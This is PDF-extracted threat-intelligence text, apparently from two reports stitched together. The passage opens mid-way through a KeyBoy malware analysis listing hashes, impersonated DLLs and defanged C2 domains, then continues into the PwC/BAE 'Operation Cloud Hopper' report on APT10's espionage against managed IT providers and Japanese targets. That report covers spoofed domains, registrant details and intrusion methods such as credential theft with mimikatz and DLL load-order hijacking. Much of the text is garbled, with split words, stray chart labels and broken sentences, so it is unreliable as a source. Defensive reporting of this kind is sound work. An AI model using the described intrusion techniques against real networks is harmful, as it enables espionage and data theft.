+mentioned above, we repeated the same process for the payload DLL. In Table 1 below,
+you may find other payloads, with their related and fake, or replaced Windows DLL or
+service.
+Hash
+Impersonated DLL
+Impersonated service
+a55b0c98ac3965067d0270a95e60e87e
+ikeext.dll
+2e04cdf98aead9dd9a5210d7e601cca7
+rasauto.dll
+d6ddecdb823de235dd650c0f7a2f3d8f
+rasauto.dll
+1dbbdd99cb8d7089ab31efb5dcf09706
+581ddf0208038a90f8bc2cdc75833425
+sinet.dll
+sinet.dll
+IKE and AuthIP IPsec
+Keying Modules
+Remote Access Auto
+Connection Manager
+Remote Access Auto
+Connection Manager
+Unknown
+Unknown
+Table 1 - Impersonated DLLs
+Sinet.dll may relate to SPlayer, a popular video player in China.
+Related samples
+Hunting further, we have discovered similar samples to the ones described above, with
+additional interesting debug paths:
+Hash
+7d39cef34bdc751e9cf9d46d2f0bef95
+29e44cfa7bcde079e9c7afb23ca8ef86
+Debug path
+D:\work\vs\UsbFerry_v2\bin\UsbFerry.pdb
+E:\Work\VS Project\cyassl-3.3.0\out\SSLClient_x64.pdb
+Table 2 - Other debug paths
+Both samples include references to a 
+work
+ folder, and a 
+ or 
+VS Project
+. The latter
+likely points to a Visual Studio project short name, or VS. While the connection initially
+seems rather weak, it did hit the same Yara rule as mentioned before and the sample
+with hash 29e44cfa7bcde079e9c7afb23ca8ef86 additionally includes an SSL certificate,
+which, when converted, points to another custom SSL library, called WolfSSL, which is a
+a small, fast, portable implementation of TLS/SSL for embedded devices to the cloud
+The same hash or binary also includes what we assess to be a campaign name or
+KeyBoy version identifier, which is weblogic20170727.
+Another sample which hit our Yara rule is 7aea7486e3a7a839f49ebc61f1680ba3, which
+was first uploaded to VirusTotal on 2017-08-25. This sample appears to be an older
+variant of KeyBoy, as there are several plain-text strings present, which are consistent
+with CitizenLab
+s report referenced in the introduction.
+All samples (hashes) and other indicators are provided in Appendix A.
+Infrastructure
+We have mapped out the complete infrastructure that we have discovered, using
+Maltego, as shown in Figure 9.
+Figure 9 - C2 graphing
+There was some overlap with the samples and infrastructure, and one email address
+appears to jump out, which is linked to several domains: 657603405@qq[.]com. This
+email address does not appear to have been observed before.
+One other relevant point to note in regards to the infrastructure, is the use of dates,
+likely relating to campaign names, as part of the C2 servers. Examples include:
+Weblogic727.xxuz[.]com (2017-07-27 campaign); and,
+Weblogic1709.zzux[.]com (2017-09-17 campaign).
+All C2
+s are provided in Appendix A.
+www.pwc.co.uk/cyber
+Operation
+Cloud Hopper
+Exposing a systematic
+hacking operation with an
+unprecedented web of
+global victims
+April 2017
+In collaboration with
+Contents
+Foreword
+Executive summary
+APT10 as a China-based threat actor
+Motivations behind APT10
+s targeting
+Shining a light on APT10
+s methodology
+Conclusion
+Appendices
+Operation Cloud Hopper
+Foreword
+This report is an initial public release of research PwC UK and
+BAE Systems have conducted into new, sustained global
+campaigns by an established threat actor against managed IT
+service providers and their clients as well as several directly
+targeted organisations in Japan. Given the scale of those
+campaigns, the activity identified here is likely to reflect just a
+small portion of the threat actor
+s operations.
+This report is primarily fact-based. Where we have made an
+assessment this has been made clear by phraseology such as 
+assess
+, and the use of estimative language as outlined in
+Appendix A.
+By publicly releasing this research, PwC UK and BAE Systems
+hope to facilitate broad awareness of the attack techniques used
+so that prevention and detection capabilities can be configured
+accordingly. It is also hoped that rapid progress can be made
+within the broader security community to further develop the
+understanding of the campaign techniques we outline, leading to
+additional public reports from peers across the security
+community.
+As a part of our research and reporting effort, PwC UK and BAE
+Systems have collaborated with the UK
+s National Cyber Security
+Centre (NCSC) under its Certified Incident Response (CIR)
+scheme to engage and notify managed IT service providers,
+known affected organisations and other national bodies.
+Supplementary to this report, an Annex containing our technical
+analysis will be released.
+Operation Cloud Hopper
+Executive summary
+Since late 2016, PwC UK and BAE Systems have been assisting victims of a new cyber espionage campaign conducted by a
+China-based threat actor. We assess this threat actor to almost certainly be the same as the threat actor widely known within
+the security community as 
+APT10
+. The campaign, which we refer to as Operation Cloud Hopper, has targeted managed IT
+service providers (MSPs), allowing APT10 unprecedented potential access to the intellectual property and sensitive data of
+those MSPs and their clients globally. A number of Japanese organisations have also been directly targeted in a separate,
+simultaneous campaign by the same actor.
+We have identified a number of key findings that are detailed below.
+APT10 has recently unleashed a sustained campaign
+against MSPs. The compromise of MSP networks has
+provided broad and unprecedented access to MSP customer
+networks.
+ Multiple MSPs were almost certainly being targeted from
+2016 onwards, and it is likely that APT10 had already
+begun to do so from as early as 2014.
+ MSP infrastructure has been used as part of a complex web
+of exfiltration routes spanning multiple victim networks.
+APT10 has significantly increased its scale and capability
+since early 2016, including the addition of new custom
+tools.
+ APT10 ceased its use of the Poison Ivy malware family
+after a 2013 FireEye report, which comprehensively
+detailed the malware
+s functionality and features, and its
+use by several China-based threat actors, including APT10.
+ APT10 primarily used PlugX malware from 2014 to 2016,
+progressively improving and deploying newer versions,
+while simultaneously standardising their command and
+control function.
+ We have observed a shift towards the use of bespoke
+malware as well as open-source tools, which have been
+customised to improve their functionality. This is highly
+likely to be indicative of an increase in sophistication.
+Infrastructure observed in APT10
+s most recent campaigns
+links to previous activities undertaken by the threat actor.
+ The command and control infrastructure used for
+Operation Cloud Hopper is predominantly dynamic-DNS
+domains, which are highly interconnected and link to the
+threat actor
+s previous operations. The number of
+dynamic-DNS domains in use by the threat actor has
+significantly increased since 2016, representative of an
+increase in operational tempo.
+ Some top level domains used in the direct targeting of
+Japanese entities share common IP address space with the
+network of dynamic-DNS domains that we associate with
+Operation Cloud Hopper.
+APT10 focuses on espionage activity, targeting intellectual
+property and other sensitive data.
+ APT10 is known to have exfiltrated a high volume of data
+from multiple victims, exploiting compromised MSP
+networks, and those of their customers, to stealthily move
+this data around the world.
+ The targeted nature of the exfiltration we have observed,
+along with the volume of the data, is reminiscent of the
+previous era of APT campaigns pre-2013.
+PwC UK and BAE Systems assess APT10 as highly likely to
+be a China-based threat actor.
+ It is a widely held view within the cyber security
+community that APT10 is a China-based threat actor.
+ Our analysis of the compile times of malware binaries, the
+registration times of domains attributed to APT10, and the
+majority of its intrusion activity indicates a pattern of work
+in line with China Standard Time (UTC+8).
+ The threat actor
+s targeting of diplomatic and political
+organisations in response to geopolitical tensions, as well
+as the targeting of specific commercial enterprises, is
+closely aligned with strategic Chinese interests.
+Operation Cloud Hopper
+APT10 as a China-based threat actor
+APT10 as a China-based threat actor
+PwC UK and BAE Systems assess it is highly likely that APT10
+is a China-based threat actor with a focus on espionage and
+wide ranging information collection. It has been in operation
+since at least 2009, and has evolved its targeting from an early
+focus on the US defence industrial base (DIB)1 and the
+technology and telecommunications sector, to a widespread
+compromise of multiple industries and sectors across the
+globe, most recently with a focus on MSPs.
+APT10, a name originally coined by FireEye, is also referred to
+as Red Apollo by PwC UK, CVNX by BAE Systems, Stone
+Panda by CrowdStrike, and menuPass Team more broadly in
+the public domain. The threat actor has previously been the
+subject of a range of open source reporting, including most
+notably a report by FireEye comprehensively detailing the
+threat actor
+s use of the Poison Ivy malware family2 and blog
+posts by Trend Micro3 similarly detailing the use of EvilGrab
+malware.
+Alongside the research and ongoing tracking of APT10 by
+both PwC UK and BAE
+s Threat Intelligence teams, PwC UK
+Incident Response team has been engaged in supporting
+investigations linked to APT10 compromises. This research
+has contributed to the assessments and conclusions we have
+drawn regarding the recent campaign activity by APT10,
+which represents a shift from previous activities linked to the
+threat actor.
+As a result of our analysis of APT10
+s activities, we believe that
+it almost certainly benefits from significant staffing and
+logistical resources, which have increased over the last three
+years, with a significant step-change in 2016. Due to the scale
+of the threat actor
+s operations throughout 2016 and 2017, we
+similarly assess it currently comprises multiple teams, each
+responsible for a different section of the day-to-day
+operations, namely domain registration, infrastructure
+management, malware development, target operations, and
+analysis.
+APT10 withdrew from direct targeting using Poison Ivy in
+2013 and conducted its first known retooling operation,
+upgrading its capabilities and replatforming to use PlugX. It is
+highly likely that this is due to the release of the 2013 FireEye
+report.
+Our report will detail the most recent campaigns conducted
+by APT10, including the sustained targeting of MSPs, which
+we have named Operation Cloud Hopper, and the targeting of
+a number of Japanese institutions.
+The defence industrial base comprises the US Department of Defense and a plethora of companies that support the design, development and
+maintenance of defence assets and enable US military requirements to be met. https://www.dhs.gov/defense-industrial-base-sector
+https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
+http://blog.trendmicro.com/trendlabs-security-intelligence/evilgrab-malware-family-used-in-targeted-attacks-in-asia/
+Operation Cloud Hopper
+Time-based analysis of APT10
+s operations
+Shown in Figure 1 are registration times4, represented in UTC,
+for known APT10 top level domains since mid-2016, which
+mark a major uptick in APT10 activity.
+Figure 1: APT10 domain registration times in UTC
+Figure 2: APT10 domain registration times in UTC+8
+Mapping this to UTC+8, as in Figure 2, shows a standard set
+of Chinese business hours, including a two-hour midday
+break.
+Apr 2017
+Apr 2017
+Mar 2017
+Mar 2017
+Feb 2017
+Feb 2017
+Jan 2017
+Jan 2017
+Date (days)
+Date (days)
+As part of our analysis, we have made a number of
+observations about APT10 and its profile, which supports our
+assessment that APT10 is a China-based threat actor. For
+example, we have identified patterns within the domain
+registrations and file compilation times associated with
+APT10 activity. This is almost certainly indicative of a threat
+actor based in the UTC+8 time zone, which aligns to Chinese
+Standard Time (CST).
+Dec 2016
+Nov 2016
+Dec 2016
+Nov 2016
+Oct 2016
+Oct 2016
+Sep 2016
+Sep 2016
+Aug 2016
+00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00
+01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00
+Aug 2016
+00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00
+01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00
+Time of Day (UTC)
+Time of Day (UTC+8)
+Shifting this to UTC+8 shows a similar timeframe of
+operation to the domain registrations. There are some
+outliers, which are likely attributable to the operational
+nature of this threat actor, such as requirements to work
+outside normal business hours.
+Figure 3: Compile times of PlugX, RedLeaves and Quasar in UTC
+Figure 4: Compile times of PlugX, RedLeaves and Quasar in UTC+8
+Jul 2017
+Jul 2017
+Jan 2017
+Jan 2017
+Jul 2015
+Jul 2015
+Jan 2016
+Jan 2016
+Date (days)
+Date (days)
+Further analysis of the compile times of PlugX, RedLeaves and
+Quasar malware samples used by APT10 reveals a similar
+pattern in working hours, as shown in Figure 3.
+Jul 2015
+Jan 2015
+Jan 2015
+Jul 2014
+Jul 2014
+Jan 2014
+Jan 2014
+Jul 2013
+00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00
+01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00
+Jul 2013
+00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00
+01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00
+Time of Day (UTC)
+Jul 2015
+Time of Day (UTC+8)
+The bubbles shown on Figures 1 through 6 are representative of the number of events observed at that time and date.
+Operation Cloud Hopper
+When applying the time shift to the ChChes malware (newly
+used by APT10) compilation timestamps, we see a different
+pattern as shown in Figure 5. While this does not align with
+Chinese business hours, it is likely to be either a result of the
+threat actor changing its risk profile by attempting to obscure
+or confuse attribution or a developer
+s side project that has
+ended up being used on targeted operations. Based on other
+technical overlaps, ChChes is highly likely to be exclusively
+used by APT10.
+Figure 5: Compile time of ChChes in UTC
+Figure 6: Compile time of ChChes in UTC+8
+Dec 15, 2016
+Dec 15, 2016
+Dec 1, 2016
+Dec 1, 2016
+Nov 17, 2016
+Date (days)
+Nov 3, 2016
+Nov 3, 2016
+Oct 20, 2016
+Oct 20, 2016
+Oct 6, 2016
+Oct 6, 2016
+Sep 22, 2016
+00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00
+01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00
+00:00 02:00 04:00 06:00 08:00 10:00 12:00 14:00 16:00 18:00 20:00 22:00
+01:00 03:00 05:00 07:00 09:00 11:00 13:00 15:00 17:00 19:00 21:00 23:00
+Time of Day (UTC+8)
+Time of Day (UTC)
+Figure 7: Operational times of APT10 in UTC+8
+Thur
+The sum of this analysis aligns with the evidence provided by
+the United States Department of Justice indictment against
+several individuals associated with APT1,5 another Chinabased threat actor, showing a working day starting at 08:00
+UTC+8 and finishing at 18:00 UTC+8 with a two hour lunch
+break from 12:00 UTC+8 until 14:00 UTC+8.
+To further this analysis, we have observed the threat actor
+conducting interactive activities primarily between the hours
+of midnight and 10:00 UTC, as shown in Figure 7. When
+converting this to UTC+8 we again see a shift to Chinese
+business hours, with operations occurring between 08:00 and
+19:00. It is a realistic probability that the weekend work
+observed in Figure 7 may be necessary as part of operational
+requirements.
+Sep 22, 2016
+23:00
+Date (days)
+Nov 17, 2016
+18:00
+04:00
+05:00
+17:00
+16:0
+11:00
+10:0
+12:00
+06:0
+Number of events
+1-10
+11-20
+21-30
+31-40
+41-50
+https://www.justice.gov/iso/opa/resources/5122014519132358461949.pdf
+Operation Cloud Hopper
+Identifying a change in APT10
+targeting
+APT10 has, in the past, primarily been known for its
+targeting of government and US defence industrial base
+organisations, with the earliest known date of its activity
+being in December 2009. Our research and observations
+suggest that this targeting continues to date.
+During the 2013 
+ 2014 period there was a general downturn
+in the threat actor
+s activities, as was also seen with other
+related groups. It was widely assessed that this was due to
+the public release of information surrounding APT1, which
+exposed its toolset and infrastructure.
+From our analysis and investigations, we have identified
+APT10 as actively operating at least two specific campaigns,
+one targeting MSPs and their clients, and one directly
+targeting Japanese entities.
+MSP focused campaign
+APT10 has almost certainly been undertaking a
+global operation of unprecedented size and scale
+targeting a number of MSPs.
+APT10 has vastly increased the scale and scope of its
+targeting to include multiple sectors, which has likely been
+facilitated by its compromise of MSPs. Such providers are
+responsible for the remote management of customer IT and
+end-user systems, thus they generally have unfettered and
+direct access to their clients
+ networks. They may also store
+significant quantities of customer data on their own internal
+infrastructure.
+Other threat actors have previously been observed using
+a similar method of a supply chain attack, for example, in
+the compromise of Dutch certificate authority Diginotar in
+20116 and the compromise of US retailer Target in 2013.7
+The command and control (C2) infrastructure chosen by
+APT10 for Operation Cloud Hopper is predominantly
+referenced using dynamic-DNS domains. The various
+domains are highly-interconnected through shared IP
+address hosting, even linking back historically to the threat
+actor
+s much older operations.
+At present, the indicators detailing APT10
+s operations
+number into the thousands and cannot be easily visualised.
+The graph in Figure 8 overleaf depicts a high-level view of the
+infrastructure used by APT10 throughout 2016. As the
+campaign has progressed into 2017, the number of dynamicDNS domains in use by the threat actor has significantly
+increased.
+The graph in Figure 9, also shown overleaf, extracts one node
+of the newer C2 from the infrastructure shown in Figure 8
+and maps this to the older infrastructure of APT10, as
+disclosed by FireEye in their 2014 Siesta Campaign blog
+post8. In terms of timing, it is highly likely that a single party
+is responsible for all of these domains, based on our
+observations of infrastructure overlap.
+Through our investigations, we have identified multiple
+victims who have been infiltrated by the threat actor. Several
+of these provide enterprise services or cloud hosting,
+supporting our assessment that APT10 are almost certainly
+targeting MSPs. We believe that the observed targeting of
+MSPs is part of a widescale supply-chain attack.
+MSPs therefore represent a high-payoff target for espionagefocused threat actors such as APT10. Given the level of client
+network access MSPs have, once APT10 has gained access to
+a MSP, it is likely to be relatively straightforward to exploit
+this and move laterally onto the networks of potentially
+thousands of other victims. This, in turn, would provide
+access to a larger amount of intellectual property and
+sensitive data. APT10 has been observed to exfiltrate stolen
+intellectual property via the MSPs, hence evading local
+network defences.
+https://security.googleblog.com/2011/08/update-on-attempted-man-in-middle.html
+https://krebsonsecurity.com/2014/02/target-hackers-broke-in-via-hvac-company/
+https://www.fireeye.com/blog/threat-research/2014/03/a-detailed-examination-of-the-siesta-campaign.html
+Operation Cloud Hopper
+Figure 8: High-level view of infrastructure used by APT10 throughout 2016
+Figure 9: Infrastructure graph linking early Plugx domains to recent APT10 domains
+Operation Cloud Hopper
+a l m a n uf a ct
+r in
+ti o
+tr i
+and C o nsu
+a il
+Sectors targeted
+g a n d C ons
+y an d Min
+c a ls a n d Li
+B u si
+Te c
+h n olo gy
+u ti
+r vi
+b li c s e cto r
+d Pr
+ie n
+M et a l s
+o fe s s i o
+Countries targeted
+Norway
+France
+Canada
+Finland
+Sweden
+Switzerland
+South Korea
+Japan
+India
+Thailand
+Brazil
+South Africa
+Operation Cloud Hopper
+Australia
+Japan focused campaign
+In a separate series of operations, APT10 has been
+systematically targeting Japanese organisations using
+bespoke malware referred to in the public domain as 
+ChChes
+While linked to APT10, via shared infrastructure, this
+campaign exhibits some operational differences suggesting a
+potential sub-division within the threat actor. These
+operations have seen APT10 masquerading as legitimate
+Japanese public sector entities (such as the Ministry of Foreign
+Affairs, Japan International Cooperation Agency and the
+Liberal Democratic Party of Japan) to gain access to the victim
+organisations.
+Targeting of these entities by APT10 is consistent with
+previous targeting by China-based threat actors of a wide
+range of industries and sectors in Japan. This includes the
+targeting of commercial companies, and government
+agencies, both of which has resulted in the exfiltration of large
+amounts of data.9
+APT10
+s standard compromise methodology begins with a
+spear phishing email sent to the target, usually with an
+executable attachment designed to lure the victim to open it.
+Analysis of the filenames associated with some of the latest
+APT10 malware samples, particularly from late 2016,
+highlights the use of Japanese language filenames which
+clearly indicates a campaign targeting Japanese-speaking
+individuals. Further analysis of these files can be found in
+Annex B.
+Table 1 shows some example file names being used by APT10
+in this campaign.
+Table 1: Japanese language filenames used by APT10
+Japanese Filename
+Translation
+1102
+)._exe
+1102 Mainich Newspaper (answer)._exe
+2016
+1025.exe
+2016 Prefectural University Symposium A4_1025.exe
+(28.11.07).exe
+Business contact invitation (28.11.07).exe
+.exe
+Regarding provision of Individual number.exe
+Japan-US expansion deterrence conference (e)
+.exe
+Foundation of Russian historical association and Composing 
+a unity
+state history textbook.exe
+The following is an example of a malicious decoy document referencing Mitsubishi Heavy Industries:
+Figure 10: Decoy document based on press
+release from Japanese firm Mitsubishi
+Heavy Industries detailing the unveiling of
+their new ABLASER-DUV (Deep Ultraviolet
+Laser)
+http://thediplomat.com/2016/04/japans-achilles-heel-cybersecurity/
+Operation Cloud Hopper
+A notable tactic of this APT10 subset is to register C2 domains that closely resemble legitimate Japanese organisations. Table 2
+shows a selection of the spoofed domains registered, alongside the email addresses listed at registration and the legitimate
+impersonated domains.
+Table 2: Domains observed being impersonated by APT10
+Domain
+Imitating
+Theme
+Description
+bdoncloud[.]com
+Unknown
+Cloud
+Generic Cloud theme
+catholicmmb[.]com
+cmmb.org
+Religion
+Catholic Medical Mission Board
+ccfchrist[.]com
+ccf.org.ph
+Christ
+s Commission Fellowship 
+ based in Philippines
+cwiinatonal[.]com
+cwi.org.uk
+Christian Witnesses to Israel
+usffunicef[.]com
+unicefusa.org
+salvaiona[.]com
+salvationarmy.org
+meiji-ac-jp[.]com
+meiji.ac.jp
+u-tokyo-ac-jp[.]com
+u-tokyo.ac.jp
+jica-go-jp[.]bike
+jica.go.jp
+jica-go-jp[.]biz
+jica.go.jp
+jimin-jp[.]biz
+jimin.jp
+Liberal Democratic Party of Japan
+mofa-go-jp[.]com
+mofa.go.jp
+Ministry of Foreign Affairs
+cloud-kingl[.]com
+cloud-maste[.]com
+incloud-go[.]com
+incloud-obert[.]com
+Charity
+United States Fund For Unicef
+The Salvation Army
+Japan /
+Academic
+Meiji University in Japan
+Japan / Public
+Sector
+Japan International Cooperation Agency
+Tokyo University in Japan
+Japan International Cooperation Agency
+The top level C2 domains observed in this campaign share a number of features that can be used to further identify affiliated
+nodes. Table 3 displaying registrant information can be seen below:
+Table 3: Known APT10 registration details showing a common name server
+Domain
+Registrant email
+Name Server
+Contact Name
+Contact Street
+belowto[.]com
+robertorivera@india.com
+ns1.ititch.com
+Roberto Rivera
+904 Peck Street Manchester, NH 03103
+ccfchrist[.]com
+wenonatmcmurray@india.com
+ns1.ititch.com
+Wenona
+McMurray
+824 Ocala Street Winter Park, FL 32789
+cloud-maste[.]
+meganfdelgado@india.com
+ns1.ititch.com
+Megan Delgado 3328 Sigley Road Burlingame, KS 66413
+poulsenv[.]com
+abellonav.poulsen@yandex.com ns1.ititch.com
+Abellona
+Poulsen
+unhamj[.]com
+juanitardunham@india.com
+ns1.ititch.com
+Juanita Dunham 745 Melody Lane Richmond, VA 23219
+wthelpdesk[.]com armandovalcala@india.com
+ns1.ititch.com
+Armando Alcala 608 Irish Lane Madison, WI 53718
+Operation Cloud Hopper
+2187 Findley Avenue Carrington, ND
+58421
+None of the domains share identical contact information other
+than stating that the respective registrants are based in the
+US. The contact streets, organisations, and names are all
+distinct between domains.
+in the report. This connection is highlighted in the
+infrastructure graph shown in Figure 11 below, where some
+ChChes C2 domains can be seen in the bottom left, while on
+the far right are the older APT10 domains referenced in
+previous reporting.
+Some of the domains, that do resolve, share common IP
+address space with the network of dynamic-DNS domains that
+we associate with Operation Cloud Hopper as detailed earlier
+Figure 11: Infrastructure graph linking early PlugX domains to recent ChChes domains
+Operation Cloud Hopper
+Motivations behind APT10
+s targeting
+A short history of China-based hacking
+China-based threat actors have a long history of cyber espionage in the traditional political, military and defensive arena, as
+well as industrial espionage for economic gain. Some of the most notable of these events from the past decade are shown below
+Figure 12: 
+ Timeline of China-based hacking activity
+2006-13: APT1 conducted a
+widespread cyber espionage
+campaign against hundreds of
+organisations spanning a number of
+sectors. Most victims primarily
+conducted their business in English and
+had a nexus with China
+s strategic
+priorities.
+2006
+2009: The Night Dragon campaign
+involved covert cyber attacks on
+global oil, energy and petrochemical
+companies and individuals in Kazakhstan,
+Taiwan, Greece and the US. The attackers
+used a number of vectors including social
+engineering and OS vulnerabilities to access
+proprietary operations and 
+nancial
+information
+2007
+2010: Technology, 
+nancial and
+defence sectors were targeted by
+Operation Aurora, a campaign
+attributed to APT17/Aurora Panda. The
+list of targets included Google, who
+suffered the loss of intellectual property
+and attempted access to the Gmail
+accounts of human rights activists.
+2009: GhostNet is the alleged
+Chinese group responsible for
+running a global campaign starting in
+2009 targeting foreign embassies and
+ministries, NGOs, news media institutions
+and Tibet-related organisations.
+2008
+2009
+2010-12: Between 2010 and
+2012 organisations in the energy
+and material manufacturing sectors
+were targeted. These included
+Westinghouse Electric, who had technical
+and design speci
+cations for pipes, pipe
+supports and routing stolen in 2010.
+Additionally, emails of senior
+decision-makers involved in the business
+relationship with a Chinese state-owned
+enterprise were taken. In 2012,
+SolarWorld was compromised with
+attackers stealing sensitive business
+information relating to manufacturing
+metrics, and production line information
+and costs. It is thought to have been
+targeted strategically at a time when
+Chinese manufacturers of solar products
+were seeking to enter the US market at
+below fair value prices.
+2013: Operation Iron Tiger is an
+attack campaign attributed to APT31,
+in which US government contractors were
+targeted in the areas of technology,
+telecommunications, energy and
+manufacturing.
+2010
+2009: Three medical device
+makers (Medtronic, Boston Scienti
+St. Jude Medical) were allegedly
+compromised by Chinese actors. Although
+the motive is unclear, patient data was not
+thought to be stolen, making industrial
+espionage the most likely intention.
+2011
+2012
+2014-15: The personal data of over
+20 million people was compromised
+from the US Of
+ce of Personnel
+Management and attributed to China-based
+actors. This included Social Security
+numbers as well as security clearance and
+job applications for government positions.
+2013
+2014: The data of 4.5 million
+members of US-based healthcare
+organisation, Community Health
+Systems was potentially accessed
+during a breach attributed to APT18.
+2014-15: Several healthcare 
+were targeted 
+ Anthem, Premera
+Blue Cross and CareFirst all suffered data
+breaches in 2015. These were linked
+to APT19.
+2014
+2015
+Operation Cloud Hopper
+Operation Cloud Hopper
+APT10 alignment with previous China-based hacking
+Espionage attacks associated with China-based threat actors,
+as noted above, have traditionally targeted organisations that
+are of strategic value to Chinese businesses and where
+intellectual property obtained from such attacks could
+facilitate domestic growth or advancement.
+There has been significant open source reporting which has
+documented the alignment between apparent information
+collection efforts of China-based threat actors and the
+strategic emerging industries documented in China
+s Five Year
+Plan (FYP).10 The 13th FYP was released in March 2016 and
+the sectors and organisations known to be targeted by APT10
+are broadly in line with the strategic aims documented in this
+plan. These aims outlined in the FYP will largely dictate the
+growth of businesses in China and are, therefore, likely to also
+form part of Chinese companies
+ business strategies.
+The latest FYP describes five principles which underpin
+China
+s goal of doubling its 2010 GDP by 2020. At the
+forefront of these principles is innovation, largely focused
+around technological innovation, with China expected to
+invest 2.5% of GDP in research and development to attain
+technological advances, which are anticipated to contribute
+60% towards economic growth objectives.11 The areas of
+innovation expected to receive extensive investment include,
+next-generation communications, new energy, new materials,
+aerospace, biological medicine and smart manufacturing.
+In addition to the FYP principle of innovation, China is also
+promoting ten key industries in which it wants to improve
+innovation in manufacturing as part of the 
+Made in China
+2025
+ initiative.12
+Figure 13: Industries of interest outlined by 
+Made in China
+2025
+ initiative
+Agricultural
+machinery
+Next
+generation
+information
+technology
+Numeric
+control
+tools and
+robotics
+Medicine
+medical
+devices
+Aerospace
+equipment
+Made in
+China 2025
+industries
+Ocean
+engineering
+equipment
+and high-tech
+ships
+materials
+Power
+equipment
+Energy
+saving and
+new energy
+vehicles
+Railway
+equipment
+Observed APT10 targeting is in line with many of the historic
+compromises we have outlined previously as originating from
+China. This targeting spans industries that align with China
+13th FYP which would provide valuable information to
+advance the domestic innovation goals held within China.
+Given the broad spectrum of priority industries, the
+compromise of MSPs represents an efficient method of
+information collection. This strategy also provides additional
+obfuscation for the actor as any data exfiltrated is taken back
+through the initial compromised company
+s systems, creating
+a much more difficult trail to follow.
+10 https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
+11 https://www.pwccn.com/en/migration/pdf/govt-work-review-mar2016.pdf
+12 http://www.pwccn.com/en/migration/pdf/prosperity-masses-2020.pdf
+Operation Cloud Hopper
+Shining a light on APT10
+s methodology
+sto m er
+Data of interest to APT10
+is accessed by the threat
+actor moving laterally
+through systems
+custom
+Compressed 
+les 
+lled
+with stolen data are
+moved from the MSP
+customer
+s network
+back onto the MSP
+network
+Targ ted
+D ata
+MSP customer data
+collected by APT and
+compressed, ready
+for ex
+ltration from
+the network
+io n
+MSP customers who
+align to APT10
+targeting pro
+le are
+accessed by the threat
+actor using the MSPs
+legitimate access
+APT10 ex
+ltrates stolen
+data back through
+MSPs to infrastructure
+controlled by the threat
+actor
+APT10
+APT10
+compromises
+Managed IT
+Service Providers
+geted MS
+r e x 
+This section details changes made to APT10 tools, techniques
+and procedures (TTPs) post-2014, following its shift from
+Poison Ivy to PlugX. These TTPs have been identified as part
+of our incident response and threat intelligence investigations
+and have been used in both of the recent campaigns we have
+encountered. The examples provided in this section will be
+drawn from both of those campaigns.
+Figure 14: Decoy document used by APT10 to target the
+Japanese education sector
+Reconnaissance and targeting
+It is often difficult to identify the early stages of a threat
+actor
+s preparation for an attack as these initial activities tend
+to occur below the line of visibility. Our analysis of the most
+recently used decoy documents by APT10 in its spear phishing
+campaigns, which is the primary delivery method of its
+payloads, indicates the actor performs a significant level of
+research on its targets. In line with commonly used APT actor
+methodologies, the threat actor aligns its decoy documents to
+a topic of interest relevant to the recipient.
+In the example shown in Figure 14 to the right, an official
+document hosted on the Japan Society for the Promotion of
+Science website was weaponised and deployed as part of a
+spear phishing campaign against a Japanese target in the
+education sector.
+Operation Cloud Hopper
+APT10 has been known to use research from their
+reconnaissance to obtain company email addresses, and then
+craft a message containing either a malicious attachment or a
+link to a malicious site.
+Figure
+15: Timelineof
+ofAPT10
+APT10 related
+activities
+Summary
+activity
+2014
+Targets East Asian
+manufacturer and
+Japanese Public
+Policy organisations
+2009
+Group 
+rst detected
+targeting Western
+defence companies
+2009
+Q4 2014
+Targets European
+organisations
+2013
+Legend
+APT10 activity
+Other events
+Q1 2017
+APT10 sustains
+targeting of
+European
+organisations
+2014
+2016
+August 2013
+FireEye - Poison Ivy:
+Assessing damage
+and extracting
+intelligence
+As part of the same campaign, we have also observed an email
+sent by APT10,13 referencing a Scientific Research Grant
+Program, and targeting various Japanese education institutes
+including Meiji University14 and Chuo University.15 The email
+included a zip file containing a link to download a payload
+from one of APT10
+s servers, the ChChes Powersploit exploit,
+detailed in Annex B.
+Initial compromise and lateral
+movement
+Once on a target network, the actor rapidly deploys malware
+to establish a foothold, which may include one or more
+systems that provide sustained access to a victim
+s network.
+As APT10 works to gain further privileges and access, it also
+conducts internal reconnaissance, mapping out the network
+using common Windows tools, and in later stages of the
+compromise using open source pentesting tools, detailed in
+Annex B.
+This reconnaissance is run in parallel with the actor ensuring
+that it has access to legitimate credentials. We have observed
+that in cases where APT10 has infiltrated a target via an MSP,
+it continues to use the MSPs credentials. In order to gain any
+further credentials, APT10 will usually deploy credential theft
+tools such as mimikatz or PwDump, sometimes using DLL load
+order hijacking, to use against a domain controller, explained
+further in Annex B. Regular communications checks are then
+executed in order to maintain this level of access. In most
+cases, these stolen MSP credentials have provided
+administrator or domain administrator privileges.
+We have observed the threat actor copying malware over to
+systems in a compromised environment, which did not have
+March 2014
+Trend Micro &
+FireEye release
+reports on links
+between APT1 and
+APT10
+2017
+Q4 2016
+Targets Japanese
+organisations
+any outbound internet access. In one of these instances, the
+threat actor spent more than an hour attempting to establish
+an outbound connection using PlugX until it realised that the
+host had no internet access, at which point the malware and
+all supporting files were deleted. APT10 achieves persistence
+on its targets primarily by using scheduled tasks or Windows
+services in order to ensure the malware remains active
+regardless of system reboots.
+APT10 heavily leverages the shared nature of client-side MSP
+infrastructure to move laterally between MSPs and other
+victims. Systems that share access and thus credentials, from
+both a MSP and one of its clients serve as a way of hopping
+between the two.
+Figure 16: Client 
+ MSP shared infrastructure
+t in
+frastructure
+P infrastructu
+Systems sharing credentials across the client and the
+MSP are of particular interest to APT10, and are
+commonly used by the threat actor in order to gain
+access to new areas of the network
+13 http://csirt.ninja/?p=1103
